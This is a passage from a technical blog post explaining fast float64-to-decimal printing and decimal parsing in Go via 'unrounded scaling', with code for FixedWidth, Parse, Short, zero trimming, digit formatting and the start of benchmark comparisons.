func log2Pow10(x int) int {
	// log₂ 10 ≈ 3.32192809489 ≈ 108853 / 2^15
	return (x * 108853) >> 15
}

fpfmt/fpfmt.go:84,87

Now we can put everything together:

// FixedWidth returns the n-digit decimal form of f as d * 10**p.
// n can be at most 18.
func FixedWidth(f float64, n int) (d uint64, p int) {
	if n > 18 {
		panic("too many digits")
	}
	m, e := unpack64(f)
	p = n - 1 - log10Pow2(e+63)
	u := uscale(m, prescale(e, p, log2Pow10(p)))
	d = u.round()
	if d >= uint64pow10[n] {
		d, p = u.div(10).round(), p-1
	}
	return d, -p
}

fpfmt/fpfmt.go:96,109

That’s the entire conversion!

The code splits $f$ into $m$ , $e$ ; computes $p$ as just described; and then uses uscale and round to compute $d = f \cdot 10^{p}$ . If the result has an extra digit, either because our approximate log made $p$ too big, or because of rollover during rounding, we divide the unrounded form by 10, round again, and update $p$ . When we approximated $log_{2} m$ by counting bits, we used the exact log of the greatest power of two less than or equal to $m$ , so the computed $d$ must be less than twice the intended limit $10^{n}$ , meaning the leading digit (if there are too many digits) must be 1. And rollover only happens for ‘ $999 . . .$ ’, so it is not possible to have both an extra digit and rollover.

As an example conversion, consider a float64 approximation of $π$ ( $0x1921fb54442d18 \cdot 2^{- 51}$ ) to 15 decimal digits. We have $e = - 51$ , $n = 15$ , and $bits (m) = 53$ , so $p = n - 1 - ⌊ (log_{10} 2) \cdot (e + bits (m) - 1) ⌋ = 14$ .

The $2^{- 51}$ and $10^{- 14}$ scales align like this:

Then $uscale (0x1921fb54442d18, - 51, 14)$ returns the unrounded number ‘314159265358979.0+’, which rounds to 314159265358979. Our answer is then $314159265358979 \cdot 10^{- 14}$ .

Parsing Decimals

Unrounded scaling also lets us parse decimal representations of floating-point numbers efficiently. Let’s assume we’ve taken care of parsing a string like ‘1.23e45’ and now have an integer and exponent like $d = 123$ , $p = 45 - 2 = 43$ . To convert $d \cdot 10^{p}$ to a float64, we can choose an appropriate $e$ so that $d \cdot 2^{e} \cdot 10^{p} \in [2^{52}, 2^{53})$ and then return $[uscale (d, e, p)] \cdot 2^{- e}$ .

The derivation of $e$ is similar to the derivation of $p$ for printing:

\begin{matrix} d \cdot 2^{e} \cdot 10^{p} & \in & [2^{52}, 2^{53}) \\ d \cdot 2^{e} \cdot 10^{p} & \in & 2^{52} \cdot [1, 2) & [factoring range] \\ (log_{2} d \cdot 10^{p}) + e & \in & 52 + [0, 1) & [taking log] \\ e & \in & 52 - (log_{2} d \cdot 10^{p}) + [0, 1) & [isolating e] \\ e & \in & 52 - ((log_{2} d \cdot 10^{p}) - [0, 1)) & [regrouping] \\ e & = & 52 - ⌊ log_{2} d \cdot 10^{p} ⌋ & [p is an integer] \\ e & = & 52 - ⌊ (log_{2} d) + (log_{2} 10) \cdot p ⌋ & [changing log base] \end{matrix}

Once again, it is okay to overestimate $e$ , so we can approximate $log_{2} d = bits (d) - 1$ , yielding $e = 53 - bits (d) - ⌊ (log_{2} 10) \cdot p ⌋$ . If $e$ is very large, $- e$ will be very small, meaning we will be creating a subnormal, so we need to round to a smaller number of bits. To handle this, we cap $e$ at 1074, which caps $- e$ at $- 1074$ . As before, due to the approximation of $log_{2} d$ , the scaled result is at most twice as large as our target, meaning it might have one extra bit to shift away.

// Parse rounds d * 10**p to the nearest float64 f.
// d can have at most 19 digits.
func Parse(d uint64, p int) float64 {
	if d > 1e19 {
		panic("too many digits")
	}
	b := bits.Len64(d)
	e := min(1074, 53-b-log2Pow10(p))
	u := uscale(d<<(64-b), prescale(e-(64-b), p, log2Pow10(p)))
	m := u.round()
	if m >= 1<<53 {
		m, e = u.rsh(1).round(), e-1
	}
	return pack64(m, -e)
}

fpfmt/unopt/fpfmt.go:111,124

FixedWidth and Parse demonstrate exactly how similar printing and parsing really are. In printing, we are given $m$ , $e$ and find $p$ ; then $uscale (m, e, p)$ converts binary to decimal. In parsing, we are given $d$ , $p$ and find $e$ ; then $uscale (d, e, p)$ converts decimal to binary.

We can make parsing a little faster with a few hand optimizations. This optimized version introduces lp to avoid calling log2Pow10 twice, and it implements the extra digit handling in branch-free code.

// Parse rounds d * 10**p to the nearest float64 f.
// d can have at most 19 digits.
func Parse(d uint64, p int) float64 {
	if d > 1e19 {
		panic("too many digits")
	}
	b := bits.Len64(d)
	lp := log2Pow10(p)
	e := min(1074, 53-b-lp)
	u := uscale(d<<(64-b), prescale(e-(64-b), p, lp))

	// This block is branch-free code for:
	//	if u.round() >= 1<<53 {
	//		u = u.rsh(1)
	//		e = e - 1
	//	}
	s := bool2[int](u >= unmin(1<<53))
	u = (u >> s) | u&1
	e = e - s

	return pack64(u.round(), -e)
}

// unmin returns the minimum unrounded that rounds to x.
func unmin(x uint64) unrounded {
	return unrounded(x<<2 - 2)
}

fpfmt/fpfmt.go:112,137

Now we are ready for our next challenge: shortest-width printing.

Shortest-Width Printing

Shortest-width printing means to prepare a decimal representation that a floating-point parser would convert back to the exact same float64, using as few digits as possible. When there are multiple possible shortest decimal outputs, we insist on the one that is nearest the original input, namely the correctly-rounded one. In general, 17 digits are always enough to uniquely identify a float64, but sometimes fewer can be used, even down to a single digit in numbers like 1, 2e10, and 3e−42.

An obvious approach would be to use FixedPrint for increasing values of n, stopping when Parse(FixedPrint(f, n)) == f. Or maybe we should derive an equation for n and then use FixedPrint(f, n) directly. Surprisingly, neither approach works: Short(f) is not necessarily FixedPrint(f, n) for some n. The simplest demonstration of this is $f = 2^{89} = 6189700196426901 37449562112 = 0x10000000000000 \cdot 2^{37}$ , which looks like this:

Because $f$ is a power of two, the floating-point exponent changes at $f$ , as does the spacing between floating-point numbers. The next smallest value is $0x1ffffffffffff \cdot 2^{- 38}$ , marked on the diagram as $0xffffffffffff½ \cdot 2^{- 37}$ . The dotted lines mark the halfway points between $f$ and its nearest floating point neighbors. The accurate decimal answers are those at or between the dotted lines, all of which convert back to $f$ .

The correct rounding of $f$ to 16 digits ends in …901: the next digit in $f$ is 3, so we should round down. However, because of the spacing change around $f$ , that correct decimal rounding does not convert back to $f$ . A FixedPrint loop would choose a 17-digit form instead. But there is an accurate 16-digit form, namely …902. That decimal is closer to $f$ than it is to any other float64, making it an accurate $d$ . And since the closer 16-digit value …901 is not an accurate $d$ , Short should use …902 instead.

Assuming as usual that $f = m \cdot 2^{e}$ , let’s define $footprint (f)$ to be the distance between the midpoints from $f$ to its floating-point neighbors. Normally those neighbors are $2^{e}$ in either direction—the midpoints are $(m \pm ½) \cdot 2^{e}$ —so $footprint (f) = 2^{e}$ . At a power of two with an exponent change, the lower midpoint is instead $(m - ¼) \cdot 2^{e}$ , so $footprint (f) = ¾ \cdot 2^{e}$ . The rounding paradox can only happen for powers of two with this kind of skewed footprint.

All that is to say we cannot use FixedWidth with “the right $n$ ”. But we can use scale directly with “the right $p$ .” Specifically, we can compute the midpoints between $f$ and its floating-point neighbors and scale them to obtain the minimum and maximum valid choices for $d$ . Then we can make the best choice:

If one of the valid $d$ ends in 0, use it after removing trailing zeros.
(Choosing the right $p$ will allow at most ten consecutive integers, so at most will one end in 0.)
If there is only one valid $d$ , use it.
Otherwise there are at least two valid $d$ , at least one on each side of $f$ ; use the correctly rounded one.

Here is an example of the first case: one of the valid $d$ ends in zero.

We already saw an example of the second case: only one valid $d$ . For numbers with symmetric footprints, that will be the correctly rounded $d$ . As we saw for numbers with skewed footprints, that may not be the correctly rounded $d$ , but it is still the correct answer.

Finally, here is an example of the third case: multiple valid $d$ , but none that end in zero. Now we should use the correctly rounded one.

This sounds great, but how do we determine the right $p$ ? We want $footprint (f)$ to allow at least one decimal integer, but at most ten, meaning $1 \leq footprint (f) < 10$ . Luckily, we can hit that target exactly.

For a symmetric footprint:

\begin{matrix} footprint (f) \cdot 10^{p} & \in & [1, 10) \\ 2^{e} \cdot 10^{p} & \in & [1, 10) & [definition of footprint (f)] \\ 10^{p} & \in & (1/2^{e}) \cdot [1, 10) & [isolating p] \\ p & \in & - (log_{10} 2) \cdot e + [0, 1) & [taking log] \\ p & \in & - ((log_{10} 2) \cdot e - [0, 1)) & [regrouping] \\ p & = & - ⌊ (log_{10} 2) \cdot e ⌋ & [p is an integer] \end{matrix}

For a skewed footprint:

\begin{matrix} footprint (f) \cdot 10^{p} & \in & [1, 10) \\ ¾ \cdot 2^{e} \cdot 10^{p} & \in & [1, 10) & [definition of footprint (f)] \\ 10^{p} & \in & (1/ (¾ \cdot 2^{e})) \cdot [1, 10) & [isolating p] \\ p & \in & - (log_{10} ¾ + (log_{10} 2) \cdot e) + [0, 1) & [taking log] \\ p & \in & - (log_{10} ¾ + (log_{10} 2) \cdot e - [0, 1)) & [regrouping] \\ p & = & - ⌊ log_{10} ¾ + (log_{10} 2) \cdot e ⌋ & [p is an integer] \end{matrix}

For the symmetric footprint, we can use log10Pow2, but for the skewed footprint, we need a new approximation:

// skewed computes the skewed footprint of m * 2**e,
// which is ⌊log₁₀ 3/4 * 2**e⌋ = ⌊e*(log₁₀ 2)-(log₁₀ 4/3)⌋.
func skewed(e int) int {
	return (e*631305 - 261663) >> 21
}

fpfmt/fpfmt.go:234,237

We should worry about a footprint with decimal width exactly 1, since if $f$ had an odd mantissa, the midpoints would be excluded. In that case, if the decimals were the exact midpoints, there would be no decimal between them, making the conversion invalid. But it turns out we should not worry too much. For a skewed footprint, $¾ \cdot 2^{e} \cdot 10^{p}$ can never be exactly 1, because nothing can divide away the 3. For a symmetric footprint, $2^{e} \cdot 10^{p} = 1$ can only happen for $e = p = 0$ , but then scaling is a no-op, so that the decimal integers are exactly the binary integers. The non-integer midpoints map to non-integer decimals.

When we compute the decimal equivalents of the midpoints, we will use ceiling and floor instead of rounding them, to make sure the integer results are valid decimal answers. If the mantissa $m$ is odd, we will nudge the unrounded forms inward slightly before taking the ceiling or floor, since rounding will be away from $m$ .

The Go code is:

// Short computes the shortest formatting of f,
// using as few digits as possible that will still round trip
// back to the original float64.
func Short(f float64) (d uint64, p int) {
	const minExp = -1085

	m, e := unpack64(f)

	var min uint64
	z := 11 // extra zero bits at bottom of m; 11 for 53-bit m
	if m == 1<<63 && e > minExp {
		p = -skewed(e + z)
		min = m - 1<<(z-2) // min = m - 1/4 * 2**(e+z)
	} else {
		if e < minExp {
			z = 11 + (minExp - e)
		}
		p = -log10Pow2(e + z)
		min = m - 1<<(z-1) // min = m - 1/2 * 2**(e+z)
	}
	max := m + 1<<(z-1) // max = m + 1/2 * 2**(e+z)
	odd := int(m>>z) & 1

	pre := prescale(e, p, log2Pow10(p))
	dmin := uscale(min, pre).nudge(+odd).ceil()
	dmax := uscale(max, pre).nudge(-odd).floor()

	if d = dmax / 10; d*10 >= dmin {
		return trimZeros(d, -(p - 1))
	}
	if d = dmin; d < dmax {
		d = uscale(m, pre).round()
	}
	return d, -p
}

fpfmt/fpfmt.go:198,231

Notice that this algorithm requires either two or three calls to uscale. When the number being printed has only one valid representation of the shortest length, we avoid the third call to uscale. Also notice that the prescale result is shared by all three calls.

When $m = 2^{63}$ , $min < 2^{63}$ , meaning it won’t be left shifted as far as possible during the call to uscale. Although we could detect this case and call uscale with $2 \cdot min$ and $e - 1$ , using $min$ unmodified is fine: it is still shifted enough that the bits uscale needs to return will stay in the high 64 bits of the 192-bit product, and using the same $e$ lets us use the same prescale work for all three calls.

Trimming Zeros

The trimZeros function used in Short removes any trailing zeros from its argument, updating the decimal power. An unoptimized version is:

// trimZeros removes trailing zeros from x * 10**p.
// If x ends in k zeros, trimZeros returns x/10**k, p+k.
// It assumes that x ends in at most 16 zeros.
func trimZeros(x uint64, p int) (uint64, int) {
	if x%10 != 0 {
		return x, p
	}
	x /= 10
	p += 1

	if x%100000000 == 0 {
		x /= 100000000
		p += 8
	}
	if x%10000 == 0 {
		x /= 10000
		p += 4
	}
	if x%100 == 0 {
		x /= 100
		p += 2
	}
	if x%10 == 0 {
		x /= 10
		p += 1
	}
	return x, p
}

fpfmt/unopt/fpfmt.go:227,253

The initial removal of a single zero gives an early return for the common case of having no zeros. Otherwise, the code makes four additional checks that collectively remove up to 16 more zeros. For outputs with many zeros, these four checks run faster than a loop removing one zero at a time.

When compiling this code, the Go compiler reduces the remainder checks to multiplications using the following well-known optimization. An exact uint64 division $x / c$ where $x mod c = 0$ can be implemented by $x \cdot m$ where $m$ is the uint64 multiplicative inverse of $c$ , meaning $m \cdot c mod 2^{64} = 1$ : Since $c$ is also the multiplicative inverse of $m$ , $x \cdot m$ is lossless—all the exact multiples of $c$ map to all of $[0, (2^{64} - 1) / c]$ —so the non-multiples are forced to map to larger values. This observation gives a quick test for whether $x$ is an exact multiple of $c$ : check whether $x \cdot m \leq (2^{64} - 1) / c$ .

Only odd $c$ have multiplicative inverses modulo powers of two, so even divisors require more work. To compute an exact division $x / (c << s)$ , we can use $(x / c) >> s$ instead. To check for remainder, we need to check that those low $s$ bits are all zero before we shift them away. We can merge that check with the range check by rotating those bits into the high part instead of discarding them: check whether $x \cdot m ↻> s \leq (2^{64} - 1) / c$ , where $↻>$ is right rotate.

The Go compiler does this transformation automatically for the if conditions in trimZeros, but inside the if bodies, it does not reuse the exact quotient it just computed. I considered changing the compiler to recognize that pattern, but instead I wrote out the remainder check by hand in the optimized version, allowing me to reuse the computed exact quotients:

// trimZeros removes trailing zeros from x * 10**p.
// If x ends in k zeros, trimZeros returns x/10**k, p+k.
// It assumes that x ends in at most 16 zeros.
func trimZeros(x uint64, p int) (uint64, int) {
	const (
		maxUint64 = ^uint64(0)
		inv5p8    = 0xc767074b22e90e21 // inverse of 5**8
		inv5p4    = 0xd288ce703afb7e91 // inverse of 5**4
		inv5p2    = 0x8f5c28f5c28f5c29 // inverse of 5**2
		inv5      = 0xcccccccccccccccd // inverse of 5
	)

	// Cut 1 zero, or else return.
	if d := bits.RotateLeft64(x*inv5, -1); d <= maxUint64/10 {
		x = d
		p += 1
	} else {
		return x, p
	}

	// Cut 8 zeros, then 4, then 2, then 1.
	if d := bits.RotateLeft64(x*inv5p8, -8); d <= maxUint64/100000000 {
		x = d
		p += 8
	}
	if d := bits.RotateLeft64(x*inv5p4, -4); d <= maxUint64/10000 {
		x = d
		p += 4
	}
	if d := bits.RotateLeft64(x*inv5p2, -2); d <= maxUint64/100 {
		x = d
		p += 2
	}
	if d := bits.RotateLeft64(x*inv5, -1); d <= maxUint64/10 {
		x = d
		p += 1
	}
	return x, p
}

fpfmt/fpfmt.go:240,277

This approach to trimming zeros is from Dragonbox. For more about the general optimization, see Warren’s Hacker’s Delight [34], sections 10-16 and 10-17.

Fast, Accurate Scaling

The conversion algorithms we examined are nice and simple. For them to be fast, uscale needs to be fast while remaining correct. Although multiplication by $2^{e}$ can be implemented by shifts, uscale cannot actually compute or multiply by $10^{p}$ —that would take too long when $p$ is a large positive or negative number. Instead, we can approximate $10^{p}$ as a floating-point number $pm \cdot 2^{pe}$ with a 128-bit mantissa, looked up in a table indexed by $p$ . Specifically, we will use $pe = ⌊ log_{2} 10^{p} ⌋ - 127$ and $pm = ⌈ 10^{p} /2^{pe} ⌉$ , ensuring that $pm \in [2^{127}, 2^{128})$ . We will write a separate program to generate this table. It emits Go code defining pow10Min, pow10Max, and pow10Tab: pow10Tab[0] holds the entry for $p = pow10Min$ . To figure out how big the table needs to be, we can analyze the three functions we just wrote.

FixedWidth converts floating-point to decimal. It needs to call uscale with a 53-bit $x$ , $e \in [- 1137, 960]$ , and $p \in [- 307, 341]$ .
Short also converts floating-point to decimal. It needs to call uscale with a 55-bit $x$ , $e \in [- 1137, 960]$ , and $p \in [- 292, 324]$ .
Parse converts decimal to floating-point. It needs to call uscale with a 64-bit $x$ and $p \in [- 343, 289]$ . (Outside that range of $p$ , Parse can return 0 or infinity.)

So the table needs to provide answers for $p \in [- 343, 341]$ .

If $10^{p} \approx pm \cdot 2^{pe}$ , then $x \cdot 2^{e} \cdot 10^{p} \approx x \cdot pm \cdot 2^{e + pe}$ . In all of our algorithms, the result of uscale was always small—at most 64 bits. Since $pm$ is 128 bits and $x \cdot pm$ is even bigger, $e + pe$ must be negative, so this computation is (x*pm) >> -(e+pe). Because of the ceiling, $pm$ may be too large by an error $ε_{0} < 1$ , so $x \cdot pm$ may be too large by an error $ε_{1} = x \cdot ε_{0} < x$ . To round exactly, we care whether any of the shifted bits is 1, but $ε_{1}$ may change the low $bits (x)$ bits, so we can’t trust them. Instead, we will throw them away. and use only the upper bits to compute our unrounded number. That is the entire idea!

Now let’s look at the implementation. The prescale function returns a scaler with $pm$ and a shift count $s$ :

// A scaler holds derived scaling constants for a given e, p pair.
type scaler struct {
	pm pmHiLo
	s  int
}

// A pmHiLo represents hi<<64 + lo.
type pmHiLo struct {
	hi uint64
	lo uint64
}

fpfmt/unopt/fpfmt.go:256,265

We want the shift count to reserve two extra bits for the unrounded representation and to apply to the top 64-bit word of the 192-bit product, which gives this formula:

\begin{matrix} s & = & - (e + pe) - 2 - (192 - 64) \\ = & - (e + ⌊ log_{2} 10^{p} ⌋ - 127) - 2 - 128 \\ = & - (e + ⌊ log_{2} 10^{p} ⌋ + 3) \end{matrix}

That translates directly to Go:

// prescale returns the scaling constants for e, p.
// lp must be log2Pow10(p).
func prescale(e, p, lp int) scaler {
	return scaler{pm: pow10Tab[p-pow10Min], s: -(e + lp + 3)}
}

fpfmt/fpfmt.go:292,295

In uscale, since the caller left-justified $x$ to 64 bits, discarding the low $bits (x)$ bits means discarding the lowest 64 bits of the product, which we skip computing entirely. Then we use the middle 64-bit word and the low $s$ bits of the upper word to set the sticky bit in the result.

// uscale returns unround(x * 2**e * 10**p).
// The caller should pass c = prescale(e, p, log2Pow10(p))
// and should have left-justified x so its high bit is set.
func uscale(x uint64, c scaler) unrounded {
	hi, mid := bits.Mul64(x, c.pm.hi)
	mid2, _ := bits.Mul64(x, c.pm.lo)
	mid, carry := bits.Add64(mid, mid2, 0)
	hi += carry
	sticky := bool2[unrounded](mid != 0 || hi&((1<<c.s)-1) != 0)
	return unrounded(hi>>c.s) | sticky
}

fpfmt/unopt/fpfmt.go:302,311

It is mind-boggling that this works, but it does. Of course, you shouldn’t take my word for it. We have to prove it correct.

Sketch of a Proof of Fast Scaling

To prove that our fast uscale algorithm is correct, there are three cases: small positive $p$ , small negative $p$ , and large $p$ . The actual proof, especially for large $p$ , is non-trivial, and the details are quite a detour from our fast scaling implementations, so this section only sketches the basic ideas. For the details, see the accompanying post, “Fast Unrounded Scaling: Proof by Ivy.”

Remember from the previous section that $pm = ⌈ 10^{p} /2^{pe} ⌉ = 10^{p} /2^{pe} + ε_{0}$ for some $ε_{0} < 1$ . Since $10^{p} = 5^{p} \cdot 2^{p}$ , $pm$ ’s 128 bits need only represent the $5^{p}$ part; the $2^{p}$ can always be handled by $pe$ .

For $p \in [0, 27)$ , $5^{p}$ fits in the top 64 bits of the 128-bit $pm$ . Since $pm$ is exact, the only possible error is introduced by discarding the bottom $bits (x)$ bits. Since the bottom 64 bits of $pm$ are zero, the bits we discard are all zero. So uscale is correct for small positive $p$ .

For $p \in [- 27, - 1]$ , $x \cdot pm$ is approximating division by $5^{- p}$ (remember that $- p$ is a positive number!). The 128-bit approximation is precise enough that when $x$ is a multiple of $5^{- p}$ , only the lowest $b i t s (x)$ bits are non-zero; discarding them keeps the unrounded form exact. And when $x$ is not a multiple of $5^{- p}$ , the result has a fractional part that must be at least $1/5^{- p}$ away from an integer. That fractional separation is much larger than the maximum error in the product, so the high bits saved in the unrounded form are correct; the fraction is also repeating, so that there is guaranteed to be a 1 bit to cause the unrounded form to be marked inexact. So uscale is correct for small negative $p$ .

Finally, we must handle large $p$ , which always have a non-zero error and therefore should always return unrounded numbers marked inexact (with the sticky bit set to 1). Consider the effect of adding a small error to the idealized “correct” $x \cdot 10^{p} /2^{pe}$ , producing $x \cdot pm$ . The error is at most 64 bits. Adding that error to the 192-bit product can certainly affect the low 64 bits, and it may also generate a carry out of the low 64 into the middle 64 bits. The carry turns 1 bits into 0 bits from right to left until it hits a 0 bit; that first 0 bit becomes a 1, and the carry stops. The key insight is that seeing a 1 in the middle bits is proof that the carry did not reach the high bits, so the high bits are correct. (Seeing a 1 in the middle bits also ensures that the unrounded form is marked inexact, as it must be, even though we discarded the low bits.) Using a program backed by careful math, we can analyze all the $pm$ in our table, showing that every possible $x \cdot pm$ has a 1 in the middle bits. So uscale is correct for large $p$ .

Omit Needless Multiplications

We have a fast and correct uscale, but we can make it faster now that we understand the importance of carry bits. The idea is to compute the high 64 bits of the product and then use it directly whenever possible, avoiding the computation of the remaining 64 bits at all. To make this work, we need the high 64 bits to be rounded up, a ceiling instead of a floor. So we will change the pmHiLo from representing $hi \cdot 2^{64} + lo$ to $hi \cdot 2^{64} - lo$ .

// A pmHiLo represents hi<<64 - lo.
type pmHiLo struct {
	hi uint64
	lo uint64
}

fpfmt/fpfmt.go:280,283

The exact computation using this form would be:

hi, mid := bits.Mul64(x, c.pm.hi)
mid2, lo := bits.Mul64(x, c.pm.lo)
mid, carry := bits.Sub64(mid, mid2, bool2[uint64](lo > 0))
hi -= carry
return unrounded(hi >> c.s) | bool2[unrounded](hi&((1<<c.s)-1) != 0 || mid != 0)

The 128-bit product $x \cdot pm . hi$ computed on the first line may be too big by an error of up to $2^{64}$ , which may or may not affect the high 64 bits; The middle three lines correct the product, possibly subtracting 1 from $hi$ . Like in the proof sketch, if any of the bottom $s$ bits of the approximate $hi$ is a 1 bit, that 1 bit would stop the subtracted carry from affecting the higher bits, indicating that we don’t need to correct the product.

Using this insight, the optimized uscale is:

// uscale returns unround(x * 2**e * 10**p).
// The caller should pass c = prescale(e, p, log2Pow10(p))
// and should have left-justified x so its high bit is set.
func uscale(x uint64, c scaler) unrounded {
	hi, mid := bits.Mul64(x, c.pm.hi)
	sticky := uint64(1)
	if hi&(1<<(c.s&63)-1) == 0 {
		mid2, _ := bits.Mul64(x, c.pm.lo)
		sticky = bool2[uint64](mid-mid2 > 1)
		hi -= bool2[uint64](mid < mid2)
	}
	return unrounded(hi>>c.s | sticky)
}

fpfmt/fpfmt.go:298,309

The fix-up looks different from the exact computation above but it has the same effect. We don’t need the actual final value of $mid$ , only the carry and its effect on the sticky bit.

On some systems, notably x86-64, bits.Mul64 computes both results in a single instruction. On other systems, notably ARM64, bits.Mul64 must use two different instructions; it helps on those systems to write the code this way, optimizing away the computation for the low half of $x \cdot pm . lo$ .

The more bits that are being shifted out of hi, the more likely it is that a 1 bit is being shifted out, so that we have an answer after only the first bits.Mul64. When Short calls uscale, it passes two $x$ that differ only in a single bit and multiplies them by the same $pm . hi$ . While one of them might clear the low $s$ bits of $hi$ , the other is unlikely to also clear them, so we are likely to hit the fast path at least once, if not twice. In the case where Short calls uscale three times, we are likely to hit the fast path at least twice. This optimization means that, most of the time, a uscale is implemented by a single wide multiply. This is the main reason that Short runs faster than Ryū, Schubfach, and Dragonbox, as we will see in the next section.

Performance

I promised these algorithms would be simple and fast. I hope you are convinced about simple. (If not, keep in mind that the implementations in widespread use today are far more complicated!) Now it is time to evaluate ‘fast’ by comparing against other implementations. All the other implementations are written in C or C++ and compiled by a C/C++ compiler. To isolate compilation differences, I translated the Go code to C and measured both the Go code and the C translation.

I ran the benchmarks on two systems.

Apple M4 (2025 MacBook Air ‘Mac16,12’), 32 GB RAM, macOS 26.1, Apple clang 17.0.0 (clang-1700.6.3.2)
AMD Ryzen 9 7950X, 128 GB RAM, Linux 6.17.9 and libc6 2.39-0ubuntu8.6, Ubuntu clang 18.1.3 (1ubuntu1)

Both systems used Go 1.26rc1. The full benchmark code is in the rsc.io/fpfmt package.

Printing Text

Real implementations generate strings, so we need to write code to convert the integers we have been returning into digit sequences, like this:

// formatBase10 formats the decimal representation of u into a.
// The caller is responsible for ensuring that a is big enough to hold u.
// If a is too big, leading zeros will be filled in as needed.
func formatBase10(a []byte, u uint64) {
	for nd := len(a) - 1; nd >= 0; nd-- {
		a[nd] = byte(u%10 + '0')
		u /= 10
	}
}

fpfmt/unopt/fpfmt.go:368,375

Unfortunately, if we connect our fast FixedWidth and Short to this version of formatBase10, benchmarks spend most of their time in the formatting loop. There are a variety of clever ways to speed up digit formatting. For our purposes, it suffices to use the old trick of splitting the number into two-digit chunks and then converting each chunk by indexing a 200-byte lookup table (more precisely, a “lookup string”) of all 2-digit values from 00 to 99:

// i2a is the formatting of 00..99 concatenated,
// a lookup table for formatting [0, 99].
const i2a = "00010203040506070809" +
	"10111213141516171819" +
	"20212223242526272829" +
	"30313233343536373839" +
	"40414243444546474849" +
	"50515253545556575859" +
	"60616263646566676869" +
	"70717273747576777879" +
	"80818283848586878889" +
	"90919293949596979899"

fpfmt/fpfmt.go:353,363

Using this table and unrolling the loop to allow the compiler to optimize away bounds checks, we end up with formatBase10:

// formatBase10 formats the decimal representation of u into a.
// The caller is responsible for ensuring that a is big enough to hold u.
// If a is too big, leading zeros will be filled in as needed.
func formatBase10(a []byte, u uint64) {
	nd := len(a)
	for nd >= 8 {
		// Format last 8 digits (4 pairs).
		x3210 := uint32(u % 1e8)
		u /= 1e8
		x32, x10 := x3210/1e4, x3210%1e4
		x1, x0 := (x10/100)*2, (x10%100)*2
		x3, x2 := (x32/100)*2, (x32%100)*2
		a[nd-1], a[nd-2] = i2a[x0+1], i2a[x0]
		a[nd-3], a[nd-4] = i2a[x1+1], i2a[x1]
		a[nd-5], a[nd-6] = i2a[x2+1], i2a[x2]
		a[nd-7], a[nd-8] = i2a[x3+1], i2a[x3]
		nd -= 8
	}

	x := uint32(u)
	if nd >= 4 {
		// Format last 4 digits (2 pairs).
		x10 := x % 1e4
		x /= 1e4
		x1, x0 := (x10/100)*2, (x10%100)*2
		a[nd-1], a[nd-2] = i2a[x0+1], i2a[x0]
		a[nd-3], a[nd-4] = i2a[x1+1], i2a[x1]
		nd -= 4
	}
	if nd >= 2 {
		// Format last 2 digits.
		x0 := (x % 1e2) * 2
		x /= 1e2
		a[nd-1], a[nd-2] = i2a[x0+1], i2a[x0]
		nd -= 2
	}
	if nd > 0 {
		// Format final digit.
		a[0] = byte('0' + x)
	}
}

fpfmt/fpfmt.go:366,405

This is more code than I’d prefer, but it is at least straightforward. I’ve seen much more complex versions.

With formatBase10, we can build Fmt, which formats in standard exponential notation:

// Fmt formats d, p into s in exponential notation.
// The caller must pass nd set to the number of digits in d.
// It returns the number of bytes written to s.
func Fmt(s []byte, d uint64, p, nd int) int {
	// Put digits into s, leaving room for decimal point.
	formatBase10(s[1:nd+1], d)
	p += nd - 1

	// Move first digit up and insert decimal point.
	s[0] = s[1]
	n := nd
	if n > 1 {
		s[1] = '.'
		n++
	}

	// Add 2- or 3-digit exponent.
	s[n] = 'e'
	if p < 0 {
		s[n+1] = '-'
		p = -p
	} else {
		s[n+1] = '+'
	}
	if p < 100 {
		s[n+2] = i2a[p*2]
		s[n+3] = i2a[p*2+1]
		return n + 4
	}
	s[n+2] = byte('0' + p/100)
	s[n+3] = i2a[(p%100)*2]
	s[n+4] = i2a[(p%100)*2+1]
	return n + 5
}

fpfmt/fpfmt.go:312,344

When calling Fmt with a FixedWidth result, we know the digit count nd already. For a Short result, we can compute the digit count easily from the bit length:

// Digits returns the number of decimal digits in d.
func Digits(d uint64) int {
	nd := log10Pow2(bits.Len64(d))
	return nd + bool2[int](d >= uint64pow10[nd])
}

fpfmt/fpfmt.go:347,350

Fixed-Width Performance

To evaluate fixed-width printing, we need to decide which floating-point values to convert. I generated 10,000 uint64s in the range $[1, 2^{63} - 2^{52})$ and used them as float64 bit patterns. The limited range avoids negative numbers, infinities, and NaNs. The benchmarks all use Go’s ChaCha8-based generator with a fixed seed for reproducibility. To reduce timing overhead, the benchmark builds an array of 1000 copies of the value and calls a function that converts every value in the array in sequence. To reduce noise, the benchmark times that function call 25 times and uses the median timing. We also have to decide how many digits to ask for: longer sequences are more difficult. Although I investigated a wider range, in this post I’ll show two representative widths: 6 digits (C printf’s default) and 17 digits (the minimum to guarantee accurate round trips, so widely used).

The implementations I timed are:

dblconv: Loitsch’s double-conversion library, using the ToExponential function. This library, used in Google Chrome, implements a handful of special cases for small binary exponents and falls back to a bignum-based printer for larger exponents.
dmg1997: Gay’s dtoa.c, archived in 1997. For our purposes, this represents Gay’s original C implementation described in his technical report from 1990 [11]. I confirmed that this 1997 snapshot runs at the same speed as (and has no significant code changes compared to) another copy dating back to May 1991 or earlier.
dmg2017: Gay’s dtoa.c, archived in 2017. In 2017, Gay published an updated version of dtoa.c that uses uint64 math and a table of 96-bit powers of ten. It is significantly faster than the original version (see below). In November 2025, I confirmed that the latest version runs at the same speed as this one.
libc: The C standard library conversion using sprintf("%.*e", prec-1). The conversion algorithm varies by C library. The macOS C library seems to wrap a pre-2017 version of dtoa.c, while Linux’s glibc uses its own bignum-based code. In general the C library implementations have not kept pace with recent algorithms and are slower than any of the others.
ryu: Adams’s Ryū library, using the d2exp_buffered function. It uses the Ryū Printf algorithm [3].
uscale: The unrounded scaling approach, using the Go code in this post.
uscalec: A C translation of the unrounded scaling Go code.

Here is a scatterplot showing the times required to format $f$ to 17 digits, running on the Linux system:

(Click on any of the graphs in this post for a larger view.)

The X axis is the log of the floating point input $f$ , and the Y axis is the time required for a single conversion of the given input. The scatterplot makes many things clear. For example, it is obvious that there are two kinds of implementations. Those that use bignums take longer for large exponents and have a “winged” scatterplot, while those that avoid bignums run at a mostly constant speed across the entire exponent range. The scatterplot also highlights many interesting data-dependent patterns in the timings, most of which I have not investigated. A friend remarked that you could probably spend a whole career analyzing the patterns in this one plot.

For our purposes, it would help to have a clearer comparison of the speed of the different algorithms. The right tool for that is a plot of the cumulative distribution function (CDF), which looks like this:

Now time is on the X axis (still log scale), and the Y axis plots what fraction of the inputs ran in that time or less. For example, we can see that dblconv’s fast path applies to most inputs, but its slow path is much slower than Linux glibc or even Gay’s original C library.

